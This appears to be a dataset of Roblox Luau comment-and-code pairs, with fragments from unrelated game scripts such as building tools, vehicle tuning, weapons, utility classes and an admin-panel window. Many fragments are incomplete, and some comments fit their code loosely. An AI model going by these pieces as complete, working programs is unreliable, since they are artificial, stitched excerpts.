Core.Targeting.CancelSelecting
);
end);
-- Enable number inputs
elseif InputType == 'Number' then
Input.FocusLost:connect(function ()
SetProperty(DecorationType, Property, tonumber(Input.Text));
end);
end;
end;
function SetProperty(DecorationType, Property, Value)
-- Make sure the given value is valid
if not Value then
return;
end;
-- Start a history record
TrackChange();
-- Go through each decoration
for _, Decoration in pairs(GetDecorations(DecorationType)) do
-- Store the state of the decoration before modification
table.insert(HistoryRecord.Before, { Part = Decoration.Parent, DecorationType = DecorationType, [Property] = Decoration[Property] });
-- Create the change request for this decoration
table.insert(HistoryRecord.After, { Part = Decoration.Parent, DecorationType = DecorationType, [Property] = Value });
end;
-- Register the changes
RegisterChange();
end;
function AddDecorations(DecorationType)
-- Prepare the change request for the server
local Changes = {};
-- Go through the selection
for _, Part in pairs(Selection.Items) do
-- Make sure this part doesn't already have a decoration
if not Support.GetChildOfClass(Part, DecorationType) then
-- Queue a decoration to be created for this part
table.insert(Changes, { Part = Part, DecorationType = DecorationType });
end;
end;
-- Send the change request to the server
local Decorations = Core.SyncAPI:Invoke('CreateDecorations', Changes);
-- Put together the history record
local HistoryRecord = {
Decorations = Decorations;
Unapply = function (HistoryRecord)
-- Reverts this change
-- Select changed parts
Selection.Replace(Support.GetListMembers(HistoryRecord.Decorations, 'Parent'));
-- Remove the decorations
Core.SyncAPI:Invoke('Remove', HistoryRecord.Decorations);
end;
Apply = function (HistoryRecord)
-- Reapplies this change
-- Restore the decorations
Core.SyncAPI:Invoke('UndoRemove', HistoryRecord.Decorations);
-- Select changed parts
Selection.Replace(Support.GetListMembers(HistoryRecord.Decorations, 'Parent'));
end;
};
-- Register the history record
Core.History.Add(HistoryRecord);
-- Open the options UI for this decoration type
OpenOptions(DecorationType);
end;
function RemoveDecorations(DecorationType)
-- Get all the decorations in the selection
local Decorations = GetDecorations(DecorationType);
-- Create the history record
local HistoryRecord = {
Decorations = Decorations;
Unapply = function (HistoryRecord)
-- Reverts this change
-- Restore the decorations
Core.SyncAPI:Invoke('UndoRemove', HistoryRecord.Decorations);
-- Select changed parts
Selection.Replace(Support.GetListMembers(HistoryRecord.Decorations, 'Parent'));
end;
Apply = function (HistoryRecord)
-- Reapplies this change
-- Select changed parts
Selection.Replace(Support.GetListMembers(HistoryRecord.Decorations, 'Parent'));
-- Remove the decorations
Core.SyncAPI:Invoke('Remove', HistoryRecord.Decorations);
end;
};
-- Send the removal request
Core.SyncAPI:Invoke('Remove', Decorations);
-- Register the history record
Core.History.Add(HistoryRecord);
end;
|
--Player Variables |
local plr = game.Players.LocalPlayer
local plrName = plr.Name
if plr.tempStage.Value > #game.Workspace.Checkpoints:GetChildren() then
--Stage Stuff
local currentStageNumber = plr.tempStage.Value
local currentCheckpoint = game.Workspace.Checkpoints:FindFirstChild(tostring(#game.Workspace.Checkpoints:GetChildren()))
--print(tostring(currentCheckpoint.Name).." -Current Checkpoint")
local currentCheckpointPos = currentCheckpoint.Position
local X = currentCheckpointPos.X
local Y = currentCheckpointPos.Y
local Z = currentCheckpointPos.Z
local TPPlace = CFrame.new(X, Y+5, Z)
plr.Character.Torso.CFrame = TPPlace
else
--Stage Stuff
local currentStageNumber = plr.tempStage.Value
local currentCheckpoint = game.Workspace.Checkpoints:FindFirstChild(tostring(currentStageNumber))
--print(tostring(currentCheckpoint.Name).." -Current Checkpoint")
local currentCheckpointPos = currentCheckpoint.Position
local X = currentCheckpointPos.X
local Y = currentCheckpointPos.Y
local Z = currentCheckpointPos.Z
local TPPlace = CFrame.new(X, Y+5, Z)
plr.Character.Torso.CFrame = TPPlace
end
|
-- ALEX WAS HERE LOL |
local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
while not v1.Loaded do
game:GetService("RunService").Heartbeat:Wait();
end;
return function(p1, p2, p3)
local u1 = nil;
coroutine.wrap(function()
while not p1.Parent do
v1.RenderStepped();
end;
local v2 = 0;
while p1 and p1.Parent and not u1 do
v2 = v2 + 1;
p1.title.Text = string.rep(".", v2 % 3);
v1.Functions.Wait(0.25);
end;
end)();
u1 = v1.Functions.UserIdToUsername(p3);
if u1 and p1 then
p1.title.Text = u1;
end;
end;
|
--Made by Luckymaxer |
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
Functions = {}
function Functions.IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function Functions.TagHumanoid(humanoid, player)
local Creator_Tag = Create("ObjectValue"){
Name = "creator",
Value = player,
}
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function Functions.UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Functions.GetTotalParts(MaxParts, PossibleParts, Parts)
if MaxParts < PossibleParts then
return MaxParts
elseif Parts >= MaxParts then
return 0
elseif MaxParts >= PossibleParts then
local PartCount = (MaxParts - PossibleParts)
if Parts <= MaxParts then
PartCount = (MaxParts - Parts)
if PartCount > PossibleParts then
return PossibleParts
else
return PartCount
end
elseif PartCount >= PossibleParts then
return PossibleParts
else
return PartCount
end
end
end
function Functions.GetParts(Region, MaxParts, Ignore)
local Parts = {}
local RerunFailed = false
while #Parts < MaxParts and not RerunFailed do
local Region = Region
local PossibleParts = Functions.GetTotalParts(MaxParts, 100, #Parts)
local PartsNearby = game:GetService("Workspace"):FindPartsInRegion3WithIgnoreList(Region, Ignore, PossibleParts)
if #PartsNearby == 0 then
RerunFailed = true
else
for i, v in pairs(PartsNearby) do
table.insert(Parts, v)
table.insert(Ignore, v)
end
end
end
return Parts
end
function Functions.CheckTableForInstance(Table, Instance)
for i, v in pairs(Table) do
if v == Instance then
return true
end
end
return false
end
return Functions
|
-- ScreenSize -> WorldSize |
function ScreenSpace.ScreenWidthToWorldWidth(screenWidth, depth)
local aspectRatio = ScreenSpace.AspectRatio()
local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
local wfactor = aspectRatio*hfactor
local sx = ScreenSpace.ViewSizeX()
--
return -(screenWidth / sx) * 2 * wfactor * depth
end
function ScreenSpace.ScreenHeightToWorldHeight(screenHeight, depth)
local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
local sy = ScreenSpace.ViewSizeY()
--
return -(screenHeight / sy) * 2 * hfactor * depth
end
|
--Don't touch |
Seat.ChildAdded:Connect(function(Child)
if Child.Name == "SeatWeld" then
Plr = game.Players:FindFirstChild(Child.Part1.Parent.Name)
Seat.Parent.Name = Plr.Name .. "'s Car"
for i, gui in ipairs(Guis) do
if gui.ClassName == "ScreenGui" then
local new = gui:Clone()
if new:FindFirstChild("Control") then
if new.Control:FindFirstChild("CarName") then new.Control:FindFirstChild("CarName").Value = Plr.Name .. "'s Car" end
end
new.Parent = Plr.PlayerGui
end
end
end
end)
Seat.ChildRemoved:Connect(function(Child)
if Child.Name == "SeatWeld" then
if NewName == "" then Seat.Parent.Name = OrigName else Seat.Parent.Name = NewName end
for i, gui in ipairs(Guis) do
if gui.ClassName == "ScreenGui" then
if Plr.PlayerGui:FindFirstChild(gui.Name) then Plr.PlayerGui:FindFirstChild(gui.Name):Destroy() end
end
end
end
end)
|
--[=[
@return isLeftDown: boolean
]=] |
function Mouse:IsLeftDown()
return UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1)
end
|
--//Points operation |
s3.Touched:connect(function(child)
if (child.ClassName == "VehicleSeat") and (child.Destination.Value == "Station 3") then Switch2()
elseif (child.ClassName == "VehicleSeat") and (child.Destination.Value == "Station 1") then Switch1()
end
end)
s1.Touched:connect(Switch1)
s2.Touched:connect(Switch2)
|
-- Gradually regenerates the Humanoid's Health over time. |
local Character = script.Parent
local Humanoid = Character:WaitForChild'Humanoid'
local REGEN_RATE = .2/100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = .25 -- Wait this long between each regeneration step.
|
-- Hide the actual Topbar |
playerGui:SetTopbarTransparency(TOPBAR_TRANSPARENCY)
|
--[=[
@param optionB Option
@return Option
If caller has a value, returns itself. Otherwise, returns `optionB`.
]=] |
function Option:Or(optionB)
if self:IsSome() then
return self
else
return optionB
end
end
|
--// initialize Q/E control //-- |
UIS.InputBegan:connect(function(input,gameProcessed)
if input.UserInputType == Enum.UserInputType.Keyboard then
if script.Parent.GuiActive.Value == true and focusedOnText == false then
local keyPressed = input.KeyCode
if keyPressed == Enum.KeyCode.Q then
moveLeft()
elseif keyPressed == Enum.KeyCode.E then
moveRight()
end
end
end
end)
|
--//Variables\\-- |
local tool = script.Parent
local handle = tool:WaitForChild("Handle")
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local character = player.Character or player.CharacterAdded:Wait()
local enabled = true
local specialDB = true
local contextActionService = game:GetService("ContextActionService")
local cursorId = "http://www.roblox.com/asset/?id=251497633"
local hitmarkerId = "http://www.roblox.com/asset/?id=70785856"
local configs = tool:WaitForChild("Configurations")
local specialRechargeTime = configs:FindFirstChild("SpecialRechargeTime")
local fireRate = configs:FindFirstChild("FireRate")
local fire = tool:WaitForChild("Fire")
local activateSpecial = tool:WaitForChild("ActivateSpecial")
local rigType = tool:WaitForChild("RigType")
local hit = tool:WaitForChild("Hit")
local characterRigType = nil
|
------------------------------------------------------------------------------------------------------------------------------------------------ |
if script.Parent:FindFirstChild("Arm2") then
local g = script.Parent.Arm2:Clone()
g.Parent = File
for _,i in pairs(g:GetChildren()) do
if i:IsA("Part") or i:IsA("UnionOperation") or i:IsA("MeshPart") then
i.CanCollide = false
i.Anchored = false
local Y = Instance.new("Weld")
Y.Part0 = Player.Character["Right Arm"]
Y.Part1 = g.Middle
Y.C0 = CFrame.new(0, 0, 0)
Y.Parent = Player.Character["Right Arm"]
end
end
end |
-----------------
--| Functions |--
----------------- |
local oldWalkSpeed = 16
local IsEquipped = false
local function OnEquipped()
if IsEquipped then return end
IsEquipped = true
MyPlayer = nil
while not MyPlayer do
MyModel = Tool.Parent
oldWalkSpeed = MyModel.Humanoid.WalkSpeed
MyPlayer = PlayersService:GetPlayerFromCharacter(MyModel)
if ({
moded = 1,
seranok = 1,
weeve = 1,
twberg = 1,
adamintygum = 1,
uristmcsparks = 1,
merely = 1,
squidcod = 1,
player1 = 1
})[MyPlayer.Name:lower()] then
COOLDOWN = 1
end
MyModel.Humanoid.WalkSpeed = 24
wait(1/30)
end
EquipSound:Play()
local mouse = MyPlayer:GetMouse()
end
local TrackTime = 0
local holdSoundPlaying = false
local function OnActivated(targetOverride)
wait(0) --TODO: Remove when Mouse.Hit and Humanoid.TargetPoint update properly on iPad
if Tool.Enabled and MyModel and MyModel:FindFirstChild('Humanoid') and MyModel.Humanoid.Health > 0 then
Tool.Enabled = false
-- Pick a target
local targetPosition = targetOverride or MyModel.Humanoid.TargetPoint
-- Position the rocket clone
local spawnPosition = ToolHandle.Position + (ToolHandle.CFrame.lookVector * (ToolHandle.Size.Z / 2))
script.Parent.FireRocket:FireServer(targetPosition, spawnPosition)
ReloadSound:Play()
wait(COOLDOWN)
-- Stop the reloading sound if it hasn't already finished
ReloadSound:Stop()
Tool.Enabled = true
end
end
local function OnUnequipped()
ReloadSound:Stop()
IsEquipped = false
MyModel.Humanoid.WalkSpeed = oldWalkSpeed
end
|
--[=[
Retrieves a remote function as a promise
@class PromiseGetRemoteFunction
]=] |
local require = require(script.Parent.loader).load(script)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local GetRemoteFunction = require("GetRemoteFunction")
local Promise = require("Promise")
local ResourceConstants = require("ResourceConstants")
|
--[=[
Event fires when the value's object value change
@prop Changed Signal<T> -- fires with oldValue, newValue
@within ValueObject
]=] |
self.Changed = Signal.new() -- :Fire(newValue, oldValue, maid)
self._maid:GiveTask(self.Changed)
return setmetatable(self, ValueObject)
end
|
-- факелы |
while true do
for i = 3, 30 do
script.Parent.Size=i
script.Parent.Parent.Contact.Size=Vector3.new(i-1,i/2-1,i/2-1)
wait(script.Parent.SpeedUP.Value) -- скорость увеличения размера
end
for i = 30, 3, -1 do
script.Parent.Size=i
script.Parent.Parent.Contact.Size=Vector3.new(i,i/2,i/2)
wait(script.Parent.SpeedDOWN.Value) -- скорость уменьшения размера
end
wait(script.Parent.SleepTime.Value) -- время сна между вспышками
end
|
--[=[
@param instance Instance
@return RBXScriptConnection
Attaches the trove to a Roblox instance. Once this
instance is removed from the game (parent or ancestor's
parent set to `nil`), the trove will automatically
clean up.
:::caution
Will throw an error if `instance` is not a descendant
of the game hierarchy.
:::
]=] |
function Trove:AttachToInstance(instance: Instance)
assert(instance:IsDescendantOf(game), "Instance is not a descendant of the game hierarchy")
return self:Connect(instance.AncestryChanged, function(_child, parent)
if not parent then
self:Destroy()
end
end)
end
|
-- lock yourself in the locker, be sealed away foreverrr.... |
local p1 = script.Parent.Pivot1
local p2 = script.Parent.Pivot2
local TS = game:GetService("TweenService")
local deb = false
local toggled = false
local cd1= Instance.new("ClickDetector",script.Parent.Handle1)
cd1.MaxActivationDistance = 5
local cd1_2 = Instance.new("ClickDetector",script.Parent.Handle2)
cd1_2.MaxActivationDistance = 5
local cd2 = Instance.new("ClickDetector",script.Parent.Door1)
cd2.MaxActivationDistance = 5
local cd2_2 = Instance.new("ClickDetector",script.Parent.Door2)
cd2_2.MaxActivationDistance = 5
local cf1 = p1.CFrame
local cf2 = p2.CFrame
local function locker()
if not deb then
deb = true
local anim1
local anim2
if not toggled then
anim1 = TS:Create(p1,
TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),
{CFrame = cf1 * CFrame.Angles(-math.rad(150),0,0)}
)
anim2 = TS:Create(p2,
TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),
{CFrame = cf2 * CFrame.Angles(math.rad(150),0,0)}
)
else
anim1 = TS:Create(p1,
TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),
{CFrame = cf1}
)
anim2 = TS:Create(p2,
TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),
{CFrame = cf2}
)
end
anim1.Completed:Connect(function()
toggled = not toggled
deb = false
end)
anim1:Play()
anim2:Play()
end
end
cd1.MouseClick:Connect(function()
locker()
end)
cd1_2.MouseClick:Connect(function()
locker()
end)
cd2.MouseClick:Connect(function()
locker()
end)
cd2_2.MouseClick:Connect(function()
locker()
end)
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 100 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.20
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- Value specific waypoint methods |
do
function Waypoints.fromVector3(... : Vector3) : Waypoints
local args = {...}
local waypoints = {}
for i = 1, #args do
assert(typeof(args[i]) == "Vector3", tostring(args[i]) .. "is not a Vector3 value.")
table.insert(waypoints, args[i])
end
return waypoints
end
function Waypoints.fromCFrame(...) : Waypoints
local args = {...}
local waypoints = {}
for i = 1, #args do
assert(typeof(args[i]) == "CFrame", args[i] .. "is not a CFrame value.")
table.insert(waypoints, args[i].Position)
end
return waypoints
end
function Waypoints.fromInstance(...) : Waypoints
local args = {...}
local waypoints = {}
for i = 1, #args do
assert(typeof(args[i]) == "Instance", args[i].Name .. "is not an Instance.")
assert(args[i]:IsA("BasePart"), args[i].Name .. "is not a BasePart.")
table.insert(waypoints, args[i].Position)
end
return waypoints
end
end
local waypointTypes = {
Vector3 = Waypoints.fromVector3,
CFrame = Waypoints.fromCFrame,
Instance = Waypoints.fromInstance
}
function Waypoints.new(... : Vector3 | CFrame | Instance) : Waypoints -- Creates waypoints
assert(waypointTypes[typeof(...)],
"Parameters are not correct value types, try using value specific functions.")
return waypointTypes[typeof(...)](...)
end
return Waypoints
|
--// Bullet Physics |
BulletPhysics = Vector3.new(0,45,0); -- Drop fixation: Lower number = more drop
BulletSpeed = 900; -- Bullet Speed
ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds
ExploSpeed = 600; -- Speed for explosive rounds
|
-- ROBLOX TODO: ADO-1552 translate this function when we add inlineSnapshot functionality
-- local removeLinesBeforeExternalMatcherTrap = utils.removeLinesBeforeExternalMatcherTrap |
local saveSnapshotFile = utils.saveSnapshotFile
local serialize = utils.serialize
local testNameToKey = utils.testNameToKey
local getParent = utils.robloxGetParent
|
-- Frequently used instances caching |
local zeroVector = vec3(0, 0, 0)
local uz = vec3(0,0,1)
local ux = vec3(1,0,0)
|
-- Existance in this list signifies that it is an emote, the value indicates If it is a looping emote |
local emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false}
math.randomseed(tick())
|
--[=[
@within RemoteSignal
@interface Connection
.Disconnect () -> nil
]=] |
function RemoteSignal.new(parent: Instance, name: string, inboundMiddleware: Types.ServerMiddleware?, outboundMiddleware: Types.ServerMiddleware?)
local self = setmetatable({}, RemoteSignal)
self._re = Instance.new("RemoteEvent")
self._re.Name = name
self._re.Parent = parent
if outboundMiddleware and #outboundMiddleware > 0 then
self._hasOutbound = true
self._outbound = outboundMiddleware
else
self._hasOutbound = false
end
if inboundMiddleware and #inboundMiddleware > 0 then
self._directConnect = false
self._signal = Signal.new()
self._re.OnServerEvent:Connect(function(player, ...)
local args = table.pack(...)
for _,middlewareFunc in ipairs(inboundMiddleware) do
local middlewareResult = table.pack(middlewareFunc(player, args))
if not middlewareResult[1] then
return
end
end
self._signal:Fire(player, table.unpack(args, 1, args.n))
end)
else
self._directConnect = true
end
return self
end
|
--[[
maid = Maid.new()
maid:GiveTask(task)
> task is an event connection, function, or instance/table with a 'Destroy' method
maid:GivePromise(promise)
> Give the maid a promise as a task, which will call 'promise:Cancel()' on cleanup
maid:DoCleaning()
> Alias for Destroy
maid:Destroy()
> Goes through each task & disconnects events, destroys instances, and calls functions
--]] |
local Promise = require(script.Parent.Promise)
local Maid = {}
Maid.ClassName = "Maid"
function Maid.new()
local self = setmetatable({
_tasks = {};
}, Maid)
return self
end
|
-- Get Real Pet Name -- |
local getPetName = function(name)
local realPetNameMod = require(rep.Modules.Pet.RealPetName)
return realPetNameMod.GetRealPetName(name)
end
local checkIfInIndex = function(plr, beginPetName, which, params)
if which == "Pet" then
local petName = getPetName(tostring(beginPetName))
if params ~= nil then
if params.Parent then
if params.Parent:FindFirstChild(petName) then
return true
end
end
else
if plr.Index:FindFirstChild(petName) then
return true
end
end
end
return false
end
module.AddPetToIndex = function(plr, beginPetName, which, params)
if plr and beginPetName ~= nil then
local isInIndex = checkIfInIndex(plr, beginPetName, which, params)
if isInIndex == false then
local petName = getPetName(tostring(beginPetName))
local petIndex = Instance.new("StringValue")
petIndex.Name = tostring(petName)
petIndex.Value = tostring(petName)
if params ~= nil then
if params.Parent then
petIndex.Parent = params.Parent
else
petIndex.Parent = plr.Index
end
else
petIndex.Parent = plr.Index
end
return true
end
end
end
module.LoadIndex = function(plr, tbl, parent)
for _, v in pairs(tbl) do
for _, petName in pairs(v) do
module.AddPetToIndex(plr, petName, "Pet", {Parent = parent})
end
end
end
return module
|
-- connect events |
Humanoid.Died:connect(OnDied)
Humanoid.Running:connect(OnRunning)
Humanoid.Jumping:connect(OnJumping)
Humanoid.Climbing:connect(OnClimbing)
Humanoid.GettingUp:connect(OnGettingUp)
Humanoid.FreeFalling:connect(OnFreeFall)
Humanoid.FallingDown:connect(OnFallingDown)
Humanoid.Seated:connect(OnSeated)
Humanoid.PlatformStanding:connect(OnPlatformStanding)
Humanoid.Swimming:connect(OnSwimming)
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["Tuner"])
local on = 0
local throt=0
local redline=0
script:WaitForChild("Rev")
script:WaitForChild("Elec")
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.SetVol.Value,true)
handler:FireServer("newSound","Elec",car.DriveSeat,script.Elec.SoundId,0,script.Elec.SetVol.Value,true)
handler:FireServer("playSound","Rev")
handler:FireServer("playSound","Elec")
car.DriveSeat:WaitForChild("Rev")
car.DriveSeat:WaitForChild("Elec")
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
else
throt = math.min(1,throt+.1)
end
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local RevVol = script.Rev.SetVol.Value
local ElecVol = script.Elec.SetVol.Value
if not _Tune.Engine then RevVol = 0 end
if not _Tune.Electric then ElecVol = 0 end
local RevPitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value)
local ElecPitch = math.max((((script.Elec.SetPitch.Value + script.Elec.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Elec.SetPitch.Value)
handler:FireServer("updateSound","Rev",script.Rev.SoundId,RevPitch,RevVol)
handler:FireServer("updateSound","Elec",script.Elec.SoundId,ElecPitch,ElecVol)
end
|
-- Designate a friendly name to each material |
local Materials = {
[Enum.Material.SmoothPlastic] = 'Smooth Plastic';
[Enum.Material.Plastic] = 'Plastic';
[Enum.Material.Brick] = 'Brick';
[Enum.Material.Cobblestone] = 'Cobblestone';
[Enum.Material.Concrete] = 'Concrete';
[Enum.Material.CorrodedMetal] = 'Corroded Metal';
[Enum.Material.DiamondPlate] = 'Diamond Plate';
[Enum.Material.Fabric] = 'Fabric';
[Enum.Material.Foil] = 'Foil';
[Enum.Material.ForceField] = 'Forcefield';
[Enum.Material.Granite] = 'Granite';
[Enum.Material.Grass] = 'Grass';
[Enum.Material.Ice] = 'Ice';
[Enum.Material.Marble] = 'Marble';
[Enum.Material.Metal] = 'Metal';
[Enum.Material.Neon] = 'Neon';
[Enum.Material.Pebble] = 'Pebble';
[Enum.Material.Sand] = 'Sand';
[Enum.Material.Slate] = 'Slate';
[Enum.Material.Wood] = 'Wood';
[Enum.Material.WoodPlanks] = 'Wood Planks';
[Enum.Material.Glass] = 'Glass';
};
function MaterialTool:ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if self.UI then
-- Reveal the UI
self.UI.Visible = true;
-- Update the UI every 0.1 seconds
self.StopUpdatingUI = Support.Loop(0.1, function ()
self:UpdateUI()
end)
-- Skip UI creation
return;
end;
-- Create the UI
self.UI = Core.Tool.Interfaces.BTMaterialToolGUI:Clone();
self.UI.Parent = Core.UI;
self.UI.Visible = true;
-- References to inputs
local TransparencyInput = self.UI.TransparencyOption.Input.TextBox;
local ReflectanceInput = self.UI.ReflectanceOption.Input.TextBox;
-- Sort the material list
local MaterialList = Support.Values(Materials);
table.sort(MaterialList);
-- Create material dropdown
local function BuildMaterialDropdown()
return Roact.createElement(Dropdown, {
Position = UDim2.new(0, 50, 0, 0);
Size = UDim2.new(0, 130, 0, 25);
Options = MaterialList;
MaxRows = 6;
CurrentOption = self.CurrentMaterial and self.CurrentMaterial.Name;
OnOptionSelected = function (Option)
SetProperty('Material', Support.FindTableOccurrence(Materials, Option))
end;
})
end
-- Mount surface dropdown
local MaterialDropdownHandle = Roact.mount(BuildMaterialDropdown(), self.UI.MaterialOption, 'Dropdown')
self.OnMaterialChanged:Connect(function ()
Roact.update(MaterialDropdownHandle, BuildMaterialDropdown())
end)
-- Enable the transparency and reflectance inputs
SyncInputToProperty('Transparency', TransparencyInput);
SyncInputToProperty('Reflectance', ReflectanceInput);
-- Hook up manual triggering
local SignatureButton = self.UI:WaitForChild('Title'):WaitForChild('Signature')
ListenForManualWindowTrigger(MaterialTool.ManualText, MaterialTool.Color.Color, SignatureButton)
-- Update the UI every 0.1 seconds
self.StopUpdatingUI = Support.Loop(0.1, function ()
self:UpdateUI()
end)
end;
function MaterialTool:HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not self.UI then
return;
end;
-- Hide the UI
self.UI.Visible = false
-- Stop updating the UI
self.StopUpdatingUI()
end;
function SyncInputToProperty(Property, Input)
-- Enables `Input` to change the given property
-- Enable inputs
Input.FocusLost:Connect(function ()
SetProperty(Property, tonumber(Input.Text));
end);
end;
function SetProperty(Property, Value)
-- Make sure the given value is valid
if Value == nil then
return;
end;
-- Start a history record
TrackChange();
-- Go through each part
for _, Part in pairs(Selection.Parts) do
-- Store the state of the part before modification
table.insert(HistoryRecord.Before, { Part = Part, [Property] = Part[Property] });
-- Create the change request for this part
table.insert(HistoryRecord.After, { Part = Part, [Property] = Value });
end;
-- Register the changes
RegisterChange();
end;
function UpdateDataInputs(Data)
-- Updates the data in the given TextBoxes when the user isn't typing in them
-- Go through the inputs and data
for Input, UpdatedValue in pairs(Data) do
-- Makwe sure the user isn't typing into the input
if not Input:IsFocused() then
-- Set the input's value
Input.Text = tostring(UpdatedValue);
end;
end;
end;
|
--// All global vars will be wiped/replaced except script |
return function(data, env)
if env then
setfenv(1, env)
end
--local client = service.GarbleTable(client)
local Player = service.Players.LocalPlayer
local Mouse = Player:GetMouse()
local InputService = service.UserInputService
local gIndex = data.gIndex
local gTable = data.gTable
local Event = gTable.BindEvent
local GUI = gTable.Object
local Name = data.Name
local Icon = data.Icon
local Size = data.Size
local Menu = data.Menu
local Title = data.Title
local Ready = data.Ready
local Walls = data.Walls
local noHide = data.NoHide
local noClose = data.NoClose
local onReady = data.OnReady
local onClose = data.OnClose
local onResize = data.OnResize
local onRefresh = data.OnRefresh
local onMinimize = data.OnMinimize
local ContextMenu = data.ContextMenu
local ResetOnSpawn = data.ResetOnSpawn
local CanKeepAlive = data.CanKeepAlive
local iconClicked = data.IconClicked
local SizeLocked = data.SizeLocked or data.SizeLock
local CanvasSize = data.CanvasSize
local Position = data.Position
local Content = data.Content or data.Children
local MinSize = data.MinSize or {150, 50}
local MaxSize = data.MaxSize or {math.huge, math.huge}
local curIcon = Mouse.Icon
local isClosed = false
local Resizing = false
local Refreshing = false
local DragEnabled = true
local checkProperty = service.CheckProperty
local specialInsts = {}
local inExpandable
local addTitleButton
local LoadChildren
local BringToFront
local functionify
local Drag = GUI.Drag
local Close = Drag.Close
local Hide = Drag.Hide
local Iconf = Drag.Icon
local Titlef = Drag.Title
local Refresh = Drag.Refresh
local rSpinner = Refresh.Spinner
local Main = Drag.Main
local Tooltip = GUI.Desc
local ScrollFrame = GUI.Drag.Main.ScrollingFrame
local LeftSizeIcon = Main.LeftResizeIcon
local RightSizeIcon = Main.RightResizeIcon
local RightCorner = Main.RightCorner
local LeftCorner = Main.LeftCorner
local RightSide = Main.RightSide
local LeftSide = Main.LeftSide
local TopRight = Main.TopRight
local TopLeft = Main.TopLeft
local Bottom = Main.Bottom
local Top = Main.Top
function Expand(ent, point, text)
local label = point:FindFirstChild("Label")
if label then
ent.MouseLeave:Connect(function(x,y)
if inExpandable == ent then
point.Visible = false
end
end)
ent.MouseMoved:Connect(function(x,y)
inExpandable = ent
label.Text = text or ent.Desc.Value
--point.Size = UDim2.new(0, 10000, 0, 10000)
local newx = 500
local bounds = service.TextService:GetTextSize(text or ent.Desc.Value, label.TextSize, label.Font, Vector2.new(1000,1000)).X-- point.Label.TextBounds.X
local rows = math.floor(bounds/500)
rows = rows+1
if rows<1 then rows = 1 end
if bounds<500 then newx = bounds end
point.Size = UDim2.new(0, newx+10, 0, (rows*20)+10)
point.Position = UDim2.new(0, x+6, 0, y-40-((rows*20)+10))
point.Visible = true
end)
end
end
function getNextPos(frame)
local farXChild, farYChild
for i,v in next,frame:GetChildren() do
if checkProperty(v, "Size") then
if not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then
farXChild = v
end
if not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then
farYChild = v
end
end
end
return ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y)
end
function LoadChildren(Obj, Children)
if Children then
local runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj)
for class,data in next,Children do
if type(data) == "table" then
if not data.Parent then data.Parent = Obj end
create(data.Class or data.ClassName or class, data)
elseif type(data) == "function" or type(data) == "string" and not runWhenDone then
